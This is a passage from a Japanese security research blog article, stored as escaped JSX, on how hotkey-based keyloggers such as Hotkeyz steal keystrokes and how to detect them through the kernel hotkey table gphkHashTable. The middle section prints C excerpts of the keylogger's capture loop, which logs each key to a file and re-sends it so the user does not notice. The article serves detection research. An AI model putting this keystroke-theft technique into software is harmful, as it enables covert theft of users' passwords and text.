API\\u306E\\u7B2C\\u4E00\\u5F15\\u6570\\u3067\\u6307\\u5B9A\\u3057\\u305F\\u30A6\\u30A3\\u30F3\\u30C9\\u30A6(NULL\\u306E\\u5834\\u5408\\u306F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u767B\\u9332\\u6642\\u306E\\u30B9\\u30EC\\u30C3\\u30C9)\\u306E\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/winmsg/about-messages-and-message-queues\",rel:\"nofollow\",children:\"\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u30AD\\u30E5\\u30FC\"}),\"\\u306B\\u3001\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/inputdev/wm-hotkey\",rel:\"nofollow\",children:\"WM_HOTKEY\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\"}),\"\\u304C\\u5C4A\\u304F\\u3088\\u3046\\u306B\\u306A\\u308A\\u307E\\u3059\\u3002\\u4EE5\\u4E0B\\u306F\\u5B9F\\u969B\\u306B\\u3001\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u30AD\\u30E5\\u30FC\\u306BWM_HOTKEY \\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u304C\\u6765\\u3066\\u3044\\u306A\\u3044\\u304B\\u3092\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-getmessage\",rel:\"nofollow\",children:\"GetMessage\"}),\" API\\u3092\\u4F7F\\u3063\\u3066\\u78BA\\u8A8D\\u3057\\u3001\\u5C4A\\u3044\\u3066\\u3044\\u305F\\u5834\\u5408\\u3001WM_HOTKEY\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u306B\\u5185\\u5305\\u3055\\u308C\\u3066\\u3044\\u305F virtual-key code(\\u4ECA\\u56DE\\u306E\\u5834\\u5408\\u300C0x41\\u300D)\\u3092\\u53D6\\u308A\\u51FA\\u3057\\u3066\\u3044\\u308B\\u30B3\\u30FC\\u30C9(\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u30EB\\u30FC\\u30D7)\\u306B\\u306A\\u308A\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-c\",children:`MSG msg = { 0 };\nwhile (GetMessage(\u0026msg, NULL, 0, 0)) {\n if (msg.message == WM_HOTKEY) {\n int vkCode = HIWORD(msg.lParam);\n std::cout \u003c\u003c \"WM_HOTKEY received! Virtual-Key Code: 0x\"\n \u003c\u003c std::hex \u003c\u003c vkCode \u003c\u003c std::dec \u003c\u003c std::endl;\n }\n}\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"\\u3000\\u3053\\u308C\\u306F\\u8A00\\u3044\\u63DB\\u3048\\u308B\\u3068\\u3001\\u4F8B\\u3048\\u3070\\u30E1\\u30E2\\u5E33\\u30A2\\u30D7\\u30EA\\u306B\\u6587\\u7AE0\\u3092\\u66F8\\u304F\\u969B\\u3001A\\u30AD\\u30FC\\u304B\\u3089\\u5165\\u529B\\u3055\\u308C\\u305F\\u6587\\u5B57\\u306F\\u3001\\u6587\\u5B57\\u3068\\u3057\\u3066\\u306E\\u5165\\u529B\\u3067\\u306F\\u306A\\u304F\\u3001\\u30B0\\u30ED\\u30FC\\u30D0\\u30EB\\u306A\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u8A8D\\u8B58\\u3055\\u308C\\u308B\\u3053\\u3068\\u306B\\u306A\\u308A\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u4ECA\\u56DE\\u306F\\u300CA\\u300D\\u306E\\u307F\\u3092\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u3057\\u307E\\u3057\\u305F\\u304C\\u3001\\u8907\\u6570\\u306E\\u30AD\\u30FC(B\\u3084C\\u3084D)\\u3092\\u540C\\u6642\\u306B\\u500B\\u3005\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u3059\\u308B\\u3053\\u3068\\u3082\\u53EF\\u80FD\\u3067\\u3059\\u3002\\u3053\\u308C\\u306F\\u3064\\u307E\\u308A\\u3001\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3067\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u53EF\\u80FD\\u306A\\u7BC4\\u56F2\\u306E\\u4EFB\\u610F\\u306E\\u30AD\\u30FC(virtual-key code)\\u306E\\u5165\\u529B\\u306F\\u3001\\u3059\\u3079\\u3066\\u30B0\\u30ED\\u30FC\\u30D0\\u30EB\\u306A\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u6A2A\\u53D6\\u308A\\u3059\\u308B\\u3053\\u3068\\u3082\\u53EF\\u80FD\\u3067\\u3042\\u308B\\u3068\\u3044\\u3046\\u3053\\u3068\\u3067\\u3059\\u3002\\u305D\\u3057\\u3066\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306F\\u3053\\u306E\\u6027\\u8CEA\\u3092\\u60AA\\u7528\\u3057\\u3066\\u3001\\u30E6\\u30FC\\u30B6\\u304B\\u3089\\u5165\\u529B\\u3055\\u308C\\u305F\\u30AD\\u30FC\\u3092\\u76D7\\u307F\\u53D6\\u308A\\u307E\\u3059\\u3002\",(0,n.jsx)(e.br,{}),`\n`,\"\\u7B46\\u8005\\u304C\\u624B\\u5143\\u306E\\u74B0\\u5883\\u3067\\u8A66\\u3057\\u305F\\u9650\\u308A\\u306F\\u3001\\u82F1\\u6570\\u5B57\\u3068\\u57FA\\u672C\\u7684\\u306A\\u8A18\\u53F7\\u30AD\\u30FC\\u3060\\u3051\\u3067\\u306A\\u304F\\u3001\\u305D\\u308C\\u3089\\u306BSHIFT\\u4FEE\\u98FE\\u5B50\\u3092\\u3064\\u3051\\u305F\\u3059\\u3079\\u3066\\u30AD\\u30FC\\u304C\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3067\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u53EF\\u80FD\\u3067\\u3057\\u305F\\u3002\\u305D\\u306E\\u305F\\u3081\\u3001\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3068\\u3057\\u3066\\u554F\\u984C\\u306A\\u304F\\u3001\\u60C5\\u5831\\u306E\\u7A83\\u53D6\\u306B\\u5FC5\\u8981\\u306A\\u30AD\\u30FC\\u306E\\u76E3\\u8996\\u304C\\u3067\\u304D\\u308B\\u3068\\u8A00\\u3048\\u308B\\u3067\\u3057\\u3087\\u3046\\u3002\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u5BC6\\u304B\\u306B\\u30AD\\u30FC\\u3092\\u76D7\\u307F\\u53D6\\u308B\",children:\"\\u5BC6\\u304B\\u306B\\u30AD\\u30FC\\u3092\\u76D7\\u307F\\u53D6\\u308B\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304C\\u30AD\\u30FC\\u3092\\u76D7\\u307F\\u53D6\\u308B\\u5B9F\\u969B\\u306E\\u6D41\\u308C\\u306B\\u3064\\u3044\\u3066\\u3092\\u3001Hotkeyz\\u3092\\u4F8B\\u306B\\u7D39\\u4ECB\\u3057\\u307E\\u3059\\u3002\",(0,n.jsx)(e.br,{}),`\n`,\"Hotkeyz\\u3067\\u306F\\u6700\\u521D\\u306B\\u3001\\u5404\\u82F1\\u6570\\u5B57\\u30AD\\u30FC\\u306B\\u52A0\\u3048\\u3066\\u3001\\u4E00\\u90E8\\u306E\\u30AD\\u30FC(VK_SPACE\\u3084VK_RETURN\\u306A\\u3069)\\u306Evirtual-key code\\u3092\\u3001\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3092\\u4F7F\\u3044\\u500B\\u3005\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u3057\\u307E\\u3059\\u3002\\u305D\\u306E\\u5F8C\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u5185\\u306E\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u30EB\\u30FC\\u30D7\\u306B\\u3066\\u3001\\u767B\\u9332\\u3055\\u308C\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306EWM_HOTKEY\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u304C\\u3001\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u30AD\\u30E5\\u30FC\\u306B\\u5230\\u7740\\u3057\\u3066\\u3044\\u306A\\u3044\\u304B\\u3092\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-peekmessagew\",rel:\"nofollow\",children:\"PeekMessageW\"}),\" API\\u3092\\u4F7F\\u3063\\u3066\\u78BA\\u8A8D\\u3057\\u307E\\u3059\\u3002\\u305D\\u3057\\u3066WM_HOTKEY\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u304C\\u6765\\u3066\\u3044\\u305F\\u5834\\u5408\\u3001\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u306B\\u5185\\u5305\\u3055\\u308C\\u3066\\u3044\\u308Bvirtual-key code\\u3092\\u53D6\\u308A\\u51FA\\u3057\\u3066\\u3001\\u6700\\u7D42\\u7684\\u306B\\u306F\\u305D\\u308C\\u3092\\u30C6\\u30AD\\u30B9\\u30C8\\u30D5\\u30A1\\u30A4\\u30EB\\u306B\\u4FDD\\u5B58\\u3057\\u307E\\u3059\\u3002\\u4EE5\\u4E0B\\u304C\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u30EB\\u30FC\\u30D7\\u5185\\u306E\\u30B3\\u30FC\\u30C9\\u306E\\u30B3\\u30FC\\u30C9\\u3067\\u3059\\u3002\\u7279\\u306B\\u91CD\\u8981\\u306A\\u90E8\\u5206\\u3092\\u629C\\u7C8B\\u3057\\u3066\\u63B2\\u8F09\\u3057\\u3066\\u3044\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-c\",children:`while (...)\n{\n // Get the message in a non-blocking manner and poll if necessary\n if (!PeekMessageW(\u0026tMsg, NULL, WM_HOTKEY, WM_HOTKEY, PM_REMOVE))\n {\n Sleep(POLL_TIME_MILLIS);\n continue;\n }\n....\n // Get the key from the message\n cCurrVk = (BYTE)((((DWORD)tMsg.lParam) \u0026 0xFFFF0000) \u003e\u003e 16);\n\n // Send the key to the OS and re-register\n (VOID)UnregisterHotKey(NULL, adwVkToIdMapping[cCurrVk]);\n keybd_event(cCurrVk, 0, 0, (ULONG_PTR)NULL);\n if (!RegisterHotKey(NULL, adwVkToIdMapping[cCurrVk], 0, cCurrVk))\n {\n adwVkToIdMapping[cCurrVk] = 0;\n DEBUG_MSG(L\"RegisterHotKey() failed for re-registration (cCurrVk=%lu, LastError=%lu).\", cCurrVk, GetLastError());\n goto lblCleanup;\n }\n // Write to the file\n if (!WriteFile(hFile, \u0026cCurrVk, sizeof(cCurrVk), \u0026cbBytesWritten, NULL))\n {\n....\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u3053\\u3053\\u3067\\u7279\\u7B46\\u3059\\u308B\\u3079\\u304D\\u70B9\\u3068\\u3057\\u3066\\u306F\\u3001\\u30E6\\u30FC\\u30B6\\u306B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u5B58\\u5728\\u3092\\u6C17\\u53D6\\u3089\\u308C\\u306A\\u3044\\u305F\\u3081\\u3001\\u30E1\\u30C3\\u30BB\\u30FC\\u30B8\\u304B\\u3089virtual-key code\\u3092\\u53D6\\u308A\\u51FA\\u3057\\u305F\\u6642\\u70B9\\u3067\\u3001\\u3044\\u3063\\u305F\\u3093\\u305D\\u306E\\u30AD\\u30FC\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u767B\\u9332\\u3092\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-unregisterhotkey\",rel:\"nofollow\",children:\"UnregisterHotKey\"}),\" API\\u3092\\u4F7F\\u3063\\u3066\\u89E3\\u9664\\u3057\\u3001\\u305D\\u306E\\u4E0A\\u3067\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-keybd_event\",rel:\"nofollow\",children:\"keybd_event\"}),\"\\u3092\\u4F7F\\u3063\\u3066\\u30AD\\u30FC\\u3092\\u9001\\u4FE1\\u3059\\u308B\\u3053\\u3068\\u3067\\u3059\\u3002\\u3053\\u308C\\u306B\\u3088\\u308A\\u3001\\u30E6\\u30FC\\u30B6\\u304B\\u3089\\u306F\\u554F\\u984C\\u7121\\u304F\\u30AD\\u30FC\\u304C\\u5165\\u529B\\u51FA\\u6765\\u3066\\u3044\\u308B\\u3088\\u3046\\u306B\\u898B\\u3048\\u3001\\u30AD\\u30FC\\u304C\\u88CF\\u3067\\u7A83\\u53D6\\u3055\\u308C\\u3066\\u3044\\u308B\\u3053\\u3068\\u306B\\u6C17\\u304C\\u4ED8\\u304B\\u308C\\u306B\\u304F\\u304F\\u306A\\u308A\\u307E\\u3059\\u3002\\u305D\\u3057\\u3066\\u30AD\\u30FC\\u3092\\u9001\\u4FE1\\u3057\\u305F\\u5F8C\\u306F\\u518D\\u3073\\u305D\\u306E\\u30AD\\u30FC\\u3092\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3092\\u4F7F\\u3063\\u3066\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u3057\\u3001\\u518D\\u3073\\u30E6\\u30FC\\u30B6\\u304B\\u3089\\u306E\\u5165\\u529B\\u3092\\u5F85\\u3061\\u307E\\u3059\\u3002\\u4EE5\\u4E0A\\u304C\\u3001\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u4ED5\\u7D44\\u307F\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u691C\\u77E5\\u624B\\u6CD5\",children:(0,n.jsx)(e.strong,{children:\"\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u691C\\u77E5\\u624B\\u6CD5\"})}),`\n`,(0,n.jsx)(e.p,{children:\"\\u3000\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3068\\u306F\\u4F55\\u304B\\u3084\\u305D\\u306E\\u4ED5\\u7D44\\u307F\\u306B\\u3064\\u3044\\u3066\\u7406\\u89E3\\u3057\\u305F\\u3068\\u3053\\u308D\\u3067\\u3001\\u6B21\\u306B\\u3053\\u308C\\u3092\\u3069\\u306E\\u3088\\u3046\\u306B\\u691C\\u77E5\\u3059\\u308B\\u304B\\u306B\\u3064\\u3044\\u3066\\u3092\\u8AAC\\u660E\\u3057\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsx)(e.h3,{id:\"etw\\u3067\\u306Fregisterhotkey-api\\u306F\\u76E3\\u8996\\u3057\\u3066\\u3044\\u306A\\u3044\",children:\"ETW\\u3067\\u306FRegisterHotKey API\\u306F\\u76E3\\u8996\\u3057\\u3066\\u3044\\u306A\\u3044\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u4EE5\\u524D\\u306E\\u8A18\\u4E8B\\u3067\\u66F8\\u3044\\u305F\\u65B9\\u6CD5\\u3068\\u540C\\u69D8\\u306B\\u3001\\u307E\\u305A\\u306F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3082\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/etw/about-event-tracing\",rel:\"nofollow\",children:\"Event Tracing for Windows\"}),\" (ETW) \\u3092\\u5229\\u7528\\u3057\\u3066\\u691C\\u77E5\\u304C\\u51FA\\u6765\\u306A\\u3044\\u304B\\u3092\\u691C\\u8A0E\\u30FB\\u8ABF\\u67FB\\u3057\\u307E\\u3057\\u305F\\u3002\\u305D\\u306E\\u7D50\\u679C\\u3001ETW\\u3067\\u306F\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3084\",(0,n.jsx)(e.code,{children:\"UnRegisterHotKey\"}),\" API\\u3092\\u76E3\\u8996\\u3057\\u3066\\u3044\\u306A\\u3044\\u3053\\u3068\\u304C\\u3059\\u3050\\u306B\\u5224\\u660E\\u3057\\u307E\\u3057\\u305F\\u3002Microsoft-Windows-Win32k \\u30D7\\u30ED\\u30C0\\u30A4\\u30D0\\u30FC\\u306E\\u30DE\\u30CB\\u30D5\\u30A7\\u30B9\\u30C8\\u30D5\\u30A1\\u30A4\\u30EB\\u306E\\u8ABF\\u67FB\\u306B\\u52A0\\u3048\\u3066\\u3001\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\"\\u306EAPI\\u306E\\u5185\\u90E8(\\u5177\\u4F53\\u7684\\u306B\\u306Fwin32kfull.sys\\u306B\\u3042\\u308B\",(0,n.jsx)(e.code,{children:\"NtUserRegisterHotKey\"}),\")\\u3092\\u30EA\\u30D0\\u30FC\\u30B9\\u30A8\\u30F3\\u30B8\\u30CB\\u30A2\\u30EA\\u30F3\\u30B0\\u3092\\u3057\\u305F\\u3082\\u306E\\u306E\\u3001\\u3053\\u308C\\u3089\\u306EAPI\\u304C\\u5B9F\\u884C\\u3055\\u308C\\u308B\\u969B\\u3001ETW\\u306E\\u30A4\\u30D9\\u30F3\\u30C8\\u3092\\u9001\\u4FE1\\u3057\\u3066\\u3044\\u308B\\u3088\\u3046\\u306A\\u5F62\\u8DE1\\u306F\\u6B8B\\u5FF5\\u306A\\u304C\\u3089\\u898B\\u3064\\u304B\\u308A\\u307E\\u305B\\u3093\\u3067\\u3057\\u305F\\u3002\",(0,n.jsx)(e.br,{}),`\n`,\"\\u4EE5\\u4E0B\\u306E\\u56F3\\u306F\\u3001ETW\\u3067\\u76E3\\u8996\\u5BFE\\u8C61\\u3068\\u306A\\u3063\\u3066\\u3044\\u308B\",(0,n.jsx)(e.code,{children:\"GetAsyncKeyState\"}),\"(\",(0,n.jsx)(e.code,{children:\"NtUserGetAsyncKeyState\"}),\")\\u3068\\u3001\",(0,n.jsx)(e.code,{children:\"NtUserRegisterHotKey\"}),\"\\u306E\\u9006\\u30B3\\u30F3\\u30D1\\u30A4\\u30EB\\u7D50\\u679C\\u3092\\u6BD4\\u8F03\\u3057\\u305F\\u3082\\u306E\\u3092\\u793A\\u3057\\u3066\\u3044\\u307E\\u3059\\u3002\",(0,n.jsx)(e.code,{children:\"NtUserGetAsyncKeyState\"}),\"\\u306E\\u65B9\\u306B\\u306F\\u95A2\\u6570\\u306E\\u5192\\u982D\\u306B\\u3001\",(0,n.jsx)(e.code,{children:\"EtwTraceGetAsyncKeyState\"}),\"\\u3068\\u3044\\u3046ETW\\u306E\\u30A4\\u30D9\\u30F3\\u30C8\\u66F8\\u304D\\u51FA\\u3057\\u306B\\u7D10\\u3065\\u304F\\u95A2\\u6570\\u304C\\u5B58\\u5728\\u3057\\u307E\\u3059\\u304C\\u3001\",(0,n.jsx)(e.code,{children:\"NtUserRegisterHotKey\"}),\"\\u306B\\u306F\\u5B58\\u5728\\u3057\\u306A\\u3044\\u306E\\u304C\\u898B\\u3066\\u53D6\\u308C\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image3.png\",alt:\"\\u56F31: NtUserGetAsyncKeyState\\u3068NtUserRegisterHotKey\\u306E\\u9006\\u30B3\\u30F3\\u30D1\\u30A4\\u30EB\\u7D50\\u679C\\u306E\\u6BD4\\u8F03\",width:\"1122\",height:\"556\"}),`\n\\u3000`,(0,n.jsx)(e.br,{}),`\n`,\"Microsoft-Windows-Win32k \\u4EE5\\u5916\\u306EETW\\u30D7\\u30ED\\u30D0\\u30A4\\u30C0\\u30FC\\u3092\\u4F7F\\u3063\\u3066\\u3001\\u9593\\u63A5\\u7684\\u306B\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3092\\u547C\\u3073\\u51FA\\u3057\\u3092\\u76E3\\u8996\\u3059\\u308B\\u6848\\u3082\\u3067\\u305F\\u3082\\u306E\\u306E\\u3001\\u6B21\\u306B\\u7D39\\u4ECB\\u3059\\u308B\\u3001ETW\\u3092\\u4F7F\\u308F\\u305A\\u300C\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u30C6\\u30FC\\u30D6\\u30EB\\u300D\\u3092\\u5229\\u7528\\u3057\\u305F\\u691C\\u77E5\\u624B\\u6CD5\\u304C\\u3001\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3092\\u76E3\\u8996\\u3059\\u308B\\u306E\\u3068\\u540C\\u69D8\\u304B\\u305D\\u308C\\u4EE5\\u4E0A\\u306E\\u52B9\\u679C\\u304C\\u5F97\\u3089\\u308C\\u308B\\u3053\\u3068\\u304C\\u5206\\u304B\\u308A\\u3001\\u6700\\u7D42\\u7684\\u306B\\u306F\\u3053\\u306E\\u6848\\u3092\\u63A1\\u7528\\u3059\\u308B\\u3053\\u3068\\u306B\\u3057\\u307E\\u3057\\u305F\\u3002\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u30C6\\u30FC\\u30D6\\u30EBgphkhashtable\\u3092\\u5229\\u7528\\u3057\\u305F\\u691C\\u77E5\",children:\"\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u30C6\\u30FC\\u30D6\\u30EB(gphkHashTable)\\u3092\\u5229\\u7528\\u3057\\u305F\\u691C\\u77E5\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000ETW\\u3067\\u306F\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u306E\\u547C\\u3073\\u51FA\\u3057\\u3092\\u76F4\\u63A5\\u76E3\\u8996\\u51FA\\u6765\\u306A\\u3044\\u3053\\u3068\\u304C\\u5224\\u660E\\u3057\\u305F\\u6642\\u70B9\\u3067\\u3001ETW\\u3092\\u5229\\u7528\\u305B\\u305A\\u306B\\u691C\\u77E5\\u3059\\u308B\\u65B9\\u6CD5\\u3092\\u691C\\u8A0E\\u3059\\u308B\\u3053\\u3068\\u306B\\u3057\\u307E\\u3057\\u305F\\u3002\\u691C\\u8A0E\\u306E\\u6700\\u4E2D\\u3001\\u300C\\u305D\\u3082\\u305D\\u3082\\u767B\\u9332\\u3055\\u308C\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306E\\u60C5\\u5831\\u304C\\u3069\\u3053\\u304B\\u306B\\u4FDD\\u5B58\\u3055\\u308C\\u3066\\u3044\\u308B\\u306E\\u3067\\u306F\\u306A\\u3044\\u304B\\uFF1F\\u300D\\u300C\\u3082\\u3057\\u4FDD\\u5B58\\u3055\\u308C\\u3066\\u3044\\u308B\\u3068\\u3057\\u305F\\u3089\\u3001\\u305D\\u306E\\u60C5\\u5831\\u304C\\u691C\\u77E5\\u306B\\u4F7F\\u3048\\u308B\\u306E\\u3067\\u306F\\u306A\\u3044\\u304B\\uFF1F\\u300D\\u3068\\u3044\\u3046\\u8003\\u3048\\u306B\\u81F3\\u308A\\u307E\\u3057\\u305F\\u3002\\u305D\\u306E\\u4EEE\\u8AAC\\u3092\\u3082\\u3068\\u306B\\u8ABF\\u67FB\\u3057\\u305F\\u7D50\\u679C\\u3001\\u3059\\u3050\\u306B\",(0,n.jsx)(e.code,{children:\"NtUserRegisterHotkey\"}),\"\\u5185\\u306B\\u3066\",(0,n.jsx)(e.code,{children:\"gphkHashTable\"}),\"\\u3068\\u3044\\u3046\\u30E9\\u30D9\\u30EB\\u304C\\u3064\\u3051\\u3089\\u308C\\u305F\\u30CF\\u30C3\\u30B7\\u30E5\\u30C6\\u30FC\\u30D6\\u30EB\\u3092\\u767A\\u898B\\u3059\\u308B\\u3053\\u3068\\u304C\\u51FA\\u6765\\u307E\\u3057\\u305F\\u3002Microsoft\\u793E\\u304C\\u516C\\u958B\\u3057\\u3066\\u3044\\u308B\\u30AA\\u30F3\\u30E9\\u30A4\\u30F3\\u306E\\u30C9\\u30AD\\u30E5\\u30E1\\u30F3\\u30C8\\u985E\\u3092\\u8ABF\\u67FB\\u3057\\u3066\\u3082\",(0,n.jsx)(e.code,{children:\"gphkHashTable\"}),\"\\u306B\\u3064\\u3044\\u3066\\u306E\\u60C5\\u5831\\u306F\\u306A\\u304B\\u3063\\u305F\\u305F\\u3081\\u3001\\u3053\\u308C\\u306F\\u672A\\u516C\\u958B(undocumented)\\u306E\\u30AB\\u30FC\\u30CD\\u30EB\\u30C7\\u30FC\\u30BF\\u69CB\\u9020\\u306E\\u3088\\u3046\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image1.png\",alt:\"\\u56F32: \\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u30C6\\u30FC\\u30D6\\u30EBgphkHashTable\\u3002NtUserRegisterHotKey\\u5185\\u3067\\u547C\\u3070\\u308C\\u305FRegisterHotKey\\u95A2\\u6570\\u5185\\u306B\\u3066\\u767A\\u898B\",width:\"722\",height:\"340\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u30EA\\u30D0\\u30FC\\u30B9\\u30A8\\u30F3\\u30B8\\u30CB\\u30A2\\u30EA\\u30F3\\u30B0\\u3092\\u3057\\u305F\\u7D50\\u679C\\u3001\\u3053\\u306E\\u30CF\\u30C3\\u30B7\\u30E5\\u30C6\\u30FC\\u30D6\\u30EB\\u306F\\u3001\\u767B\\u9332\\u3055\\u308C\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306E\\u60C5\\u5831\\u3092\\u6301\\u3064\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8\\u3092\\u4FDD\\u5B58\\u3057\\u3066\\u304A\\u308A\\u3001\\u5404\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8\\u306F\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u306E\\u5F15\\u6570\\u306B\\u3066\\u6307\\u5B9A\\u3055\\u308C\\u305Fvirtual-key code\\u3084\\u4FEE\\u98FE\\u5B50\\u306E\\u60C5\\u5831\\u3092\\u4FDD\\u6301\\u3057\\u3066\\u3044\\u308B\\u3053\\u3068\\u304C\\u5206\\u304B\\u308A\\u307E\\u3057\\u305F\\u3002\\u4EE5\\u4E0B\\u306E\\u56F3(\\u53F3)\\u304C\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306E\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8(\",(0,n.jsx)(e.strong,{children:\"HOT_KEY\"}),\"\\u3068\\u547D\\u540D)\\u306E\\u69CB\\u9020\\u4F53\\u306E\\u5B9A\\u7FA9\\u306E\\u4E00\\u90E8\\u3068\\u3001\\u56F3(\\u5DE6)\\u304C\\u5B9F\\u969B\\u306Bwindbg\\u4E0A\\u3067\",(0,n.jsx)(e.code,{children:\"gphkHashTable\"}),\"\\u306B\\u30A2\\u30AF\\u30BB\\u30B9\\u3057\\u305F\\u4E0A\\u3067\\u3001\\u767B\\u9332\\u3055\\u308C\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306E\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8\\u3092\\u898B\\u305F\\u6642\\u306E\\u69D8\\u5B50\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image4.png\",alt:\"\\u56F33: 